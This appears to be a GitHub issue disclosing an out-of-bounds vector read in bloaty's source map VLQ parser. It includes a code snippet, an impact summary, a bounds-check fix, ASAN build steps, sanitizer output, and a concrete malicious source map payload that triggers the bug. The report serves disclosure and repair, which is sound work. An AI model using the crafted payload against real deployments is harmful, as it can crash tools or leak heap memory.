Out-of-Bounds Vector Read at `bloaty::sourcemap::ForEachVLQSegment`
- Dominant language
- C++
- Stars
- 5.5k
- Forks
- 378
- Avg merge
- 23h 54m
- Merged PRs (30d)
- 6
Description
## Function Signature and Location
The vulnerability exists in the template function `ForEachVLQSegment`, which is called by:
- `bloaty::sourcemap::ProcessToSink` (line 209) — `src/source_map.cc:182-214`
- `bloaty::sourcemap::SourceMapObjectFile::ProcessFileToSink` (line 222) — `src/source_map.cc:216-223`
- `bloaty::sourcemap::SourceMapObjectFile::ProcessFile` (inherited virtual) — `src/source_map.cc`
## Vulnerability
**Out-of-Bounds Read**
The `ForEachVLQSegment` function at `src/source_map.cc:135-180` reads VLQ-encoded segments from a source map. The `source_file` variable is an `int32_t` that accumulates deltas from attacker-controlled Base64-VLQ data. It is used to index into a `std::vector sources` without any bounds checking.
## Code Snippet
```cpp
template
void ForEachVLQSegment(std::string_view* data,
const std::vector& sources,
Func&& segment_func) {
// ...
int32_t source_file = values[1]; // from attacker-controlled VLQ data
// ...
while (!data->empty() && data->front() != '\"') {
// ...
int new_values_count = ReadBase64VLQSegment(data, values);
if (values_count >= 4) {
segment_func(VlqSegment(col, values[0],
sources[source_file], // <-- NO BOUNDS CHECK (line 170)
source_line, source_col));
}
// ...
if (values_count >= 4) {
source_file += values[1]; // accumulates deltas, can become negative or huge
// ...
}
}
}
```
## Impact
- **OOB Read**: Reading beyond vector storage boundary
- **Information Disclosure**: Leaking heap data through the read `string_view`
- **Crash**: Likely segfault if the read address is unmapped
- Since `source_file` is `int32_t`, negative values cause UB on most implementations (unsigned wrap in libstdc++ operator[])
## Suggested Fix
Add bounds checking before vector access:
```cpp
if (source_file < 0 || static_cast(source_file) >= sources.size()) {
THROW("source file index out of range in source map");
}
```
## PoC
- **PoC file**: `poc/sourcemap_oob_test.py` (generates WASM + malicious source map, runs bloaty with ASAN): [sourcemap_oob_test.py](https://github.com/user-attachments/files/25530520/sourcemap_oob_test.py)
- **Build command**: Build bloaty with ASAN: `mkdir build_asan_full && cd build_asan_full && cmake -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer" -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" .. && make -j$(nproc)`
- commit id: `073e01d04fc06d64eeb5cdb9adeae035a34e4b13` on `main` branch
### Reproduction Steps
1. Create minimal WASM binary with `sourceMappingURL` custom section (build_id = `mybuildid`)
2. Create malicious source map: `{"sources":["a.js","b.js"],"mappings":"AACA,AgxTAA,AAAA"}`
- Segment 1: `AACA` — col=0, source_file=0, line=+1, col=0
- Segment 2: `AgxTAA` — col=0, source_file=+10000, line=0, col=0
- Segment 3: `AAAA` — col=0, source_file=0, line=0, col=0 (triggers OOB at `sources[10000]`)
3. Run: `bloaty test.wasm --source-map=mybuildid=malicious.map -d compileunits` ( executed`bloaty /tmp/poc_test.wasm --source-map=mybuildid=/tmp/poc_test.map -d compileunits` by the py script)
### Sanitizer Output (reproduced on main branch)
```
==394832==ERROR: AddressSanitizer: SEGV on unknown address 0x60300002d770 (pc 0x56428bdb4e5a bp 0x7f49b27fe7e0 sp 0x7f49b27fe720 T1)
==394832==The signal is caused by a READ memory access.
#0 0x56428bdb4e5a in void bloaty::sourcemap::ForEachVLQSegment(...) /mnt/sdb/code/targets/bloaty/src/source_map.cc:170:31
#1 0x56428bdb49bb in bloaty::sourcemap::ProcessToSink(...) /mnt/sdb/code/targets/bloaty/src/source_map.cc:209:3
#2 0x56428bdb4816 in bloaty::sourcemap::SourceMapObjectFile::ProcessFileToSink(...) /mnt/sdb/code/targets/bloaty/src/source_map.cc:222:3
#3 0x56428bdb8c93 in bloaty::wasm::WebAssemblyObjectFile::ProcessFile(...) /mnt/sdb/code/targets/bloaty/src/webassembly.cc:472:25
```
Contributor guide
Assessment
This issue has not been assessed yet.